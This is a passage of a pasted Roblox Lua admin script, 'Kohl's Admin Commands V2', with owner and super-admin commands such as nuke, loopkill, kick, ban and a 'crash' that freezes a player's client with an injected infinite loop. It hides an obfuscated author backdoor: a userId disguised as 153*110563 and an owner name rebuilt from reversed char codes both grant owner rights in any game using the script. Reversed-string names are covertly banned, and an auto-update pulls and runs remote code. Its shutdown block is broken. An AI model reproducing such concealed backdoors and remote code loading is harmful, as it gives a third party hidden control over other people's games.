  2210. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2211. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2212. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2213. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2214. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2215. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2216. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2217. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2218. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2219. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2220. end
  2221.  
  2222. end
  2223.  
  2224. --------------------
  2225. -- Owner Commands --
  2226. --------------------
  2227.  
  2228. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2229.  
  2230. if msg:lower():sub(1,3) == "pa " then
  2231. local plrz = GetPlr(plr, msg:lower():sub(4))
  2232. for i, v in pairs(plrz) do
  2233. coroutine.resume(coroutine.create(function()
  2234. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2235. end))
  2236. end
  2237. end
  2238.  
  2239. if msg:lower():sub(1,5) == "unpa " then
  2240. for i = 1, #admins do
  2241. coroutine.resume(coroutine.create(function()
  2242. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2243. end))
  2244. end
  2245. end
  2246.  
  2247. if msg:lower():sub(1,5) == "nuke " then
  2248. local plrz = GetPlr(plr, msg:lower():sub(6))
  2249. for i, v in pairs(plrz) do
  2250. coroutine.resume(coroutine.create(function()
  2251. if v and v.Character and v.Character:findFirstChild("Torso") then
  2252. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2253. p.Anchored = true
  2254. p.CanCollide = false
  2255. p.formFactor = "Symmetric"
  2256. p.Shape = "Ball"
  2257. p.Size = Vector3.new(1,1,1)
  2258. p.BrickColor = BrickColor.new("New Yeller")
  2259. p.Transparency = .5
  2260. p.Reflectance = .2
  2261. p.TopSurface = 0
  2262. p.BottomSurface = 0
  2263. p.Touched:connect(function(hit)
  2264. if hit and hit.Parent then
  2265. local ex = Instance.new("Explosion", game.Workspace)
  2266. ex.Position = hit.Position
  2267. ex.BlastRadius = 11
  2268. ex.BlastPressure = math.huge
  2269. end
  2270. end)
  2271. local cf = v.Character.Torso.CFrame
  2272. p.CFrame = cf
  2273. for i = 1, 333 do
  2274. p.Size = p.Size + Vector3.new(3,3,3)
  2275. p.CFrame = cf
  2276. wait(1/44)
  2277. end
  2278. p:Destroy()
  2279. end
  2280. end))
  2281. end
  2282. end
  2283.  
  2284. end
  2285.  
  2286. --------------------------
  2287. -- Super Admin Commands --
  2288. --------------------------
  2289.  
  2290. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2291.  
  2292. if msg:lower() == "logs" then
  2293. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2294. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2295. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2296. end
  2297.  
  2298. if msg:lower():sub(1,9) == "loopkill " then
  2299. local chk1 = msg:lower():sub(10):find(" ")
  2300. local plrz = GetPlr(plr, msg:lower():sub(10))
  2301. local num = 9999
  2302. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2303. for i, v in pairs(plrz) do
  2304. if v and not ChkAdmin(v.Name, false) then
  2305. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2306. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2307. for i = 1, ]] .. tostring(num) .. [[ do
  2308. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2309. coroutine.resume(coroutine.create(function()
  2310. if plr and plr.Character then plr.Character:BreakJoints() end
  2311. end))
  2312. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2313. end
  2314. end
  2315. end
  2316.  
  2317. if msg:lower():sub(1,11) == "unloopkill " then
  2318. local plrz = GetPlr(plr, msg:lower():sub(12))
  2319. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2320. end
  2321.  
  2322. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2323. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2324.  
  2325. if msg:lower():sub(1,3) == "sm " then
  2326. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2327. end
  2328.  
  2329. if msg:lower():sub(1,3) == "ko " then
  2330. local chk1 = msg:lower():sub(4):find(" ") + 3
  2331. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2332. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2333. for n = 1, num do
  2334. for i, v in pairs(plrz) do
  2335. coroutine.resume(coroutine.create(function()
  2336. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2337. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2338. v.Character:BreakJoints()
  2339. wait(1/44)
  2340. v:LoadCharacter()
  2341. wait(1/44)
  2342. end
  2343. end))
  2344. end
  2345. end
  2346. end
  2347.  
  2348. if msg:lower():sub(1,6) == "crash " then
  2349. local plrz = GetPlr(plr, msg:lower():sub(7))
  2350. for i, v in pairs(plrz) do
  2351. coroutine.resume(coroutine.create(function()
  2352. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2353. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2354. end
  2355. end))
  2356. end
  2357. end
  2358.  
  2359. if msg:lower():sub(1,5) == "kick " then
  2360. local plrz = GetPlr(plr, msg:lower():sub(6))
  2361. for i, v in pairs(plrz) do
  2362. coroutine.resume(coroutine.create(function()
  2363. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2364. end))
  2365. end
  2366. end
  2367.  
  2368. if msg:lower():sub(1,6) == "admin " then
  2369. local plrz = GetPlr(plr, msg:lower():sub(7))
  2370. for i, v in pairs(plrz) do
  2371. coroutine.resume(coroutine.create(function()
  2372. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2373. end))
  2374. end
  2375. end
  2376.  
  2377. if msg:lower():sub(1,8) == "unadmin " then
  2378. for i = 1, #tempadmins do
  2379. coroutine.resume(coroutine.create(function()
  2380. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2381. end))
  2382. end
  2383. end
  2384.  
  2385. if msg:lower():sub(1,4) == "ban " then
  2386. local plrz = GetPlr(plr, msg:lower():sub(5))
  2387. for i, v in pairs(plrz) do
  2388. coroutine.resume(coroutine.create(function()
  2389. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2390. end))
  2391. end
  2392. end
  2393.  
  2394. if msg:lower():sub(1,6) == "unban " then
  2395. for i = 1, #banland do
  2396. coroutine.resume(coroutine.create(function()
  2397. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2398. end))
  2399. end
  2400. end
  2401.  
  2402. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:GetChildren(), 10)
  2403. local all=game.Players:GetChildren()
  2404. for i=1,#Players do
  2405. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2406. end
  2407. end
  2408. end))
  2409. end
  2410.  
  2411. function AdminControl(plr)
  2412. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2413. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2414. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2415. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2416. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2417. end)) end
  2418. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2419. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2420. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2421. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2422. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2423. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2424. end
  2425.  
  2426. if not ntab then script:Destroy() end
  2427. if not bct then script:Destroy() end
  2428.  
  2429. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2430.  
  2431. script.Name = "Kohl's Admin Commands V2"
  2432.  
  2433. if not ntab then script:Destroy() end
  2434. if not bct then script:Destroy() end
  2435. if not tcb then script:Destroy() end
  2436. game.Players.PlayerAdded:connect(AdminControl)
  2437. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2438. end
  2439.  
  2440. local mod = game:service("InsertService"):LoadAsset(100808216)
  2441. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2442. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2443. newac.Disabled = true
  2444. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2445. local old = 0
  2446. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2447. if new > old then
  2448. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2449. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2450. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2451. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2452. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2453. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2454. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2455. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2456. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2457. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2458. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2459. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2460. wait()
  2461. newac.Parent = game.Workspace
  2462. newac.Disabled = false
  2463. script.Disabled = true
  2464. script:Destroy()
  2465. else
  2466. CHEESE()
  2467. end
  2468. else
  2469. CHEESE()
  2470. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement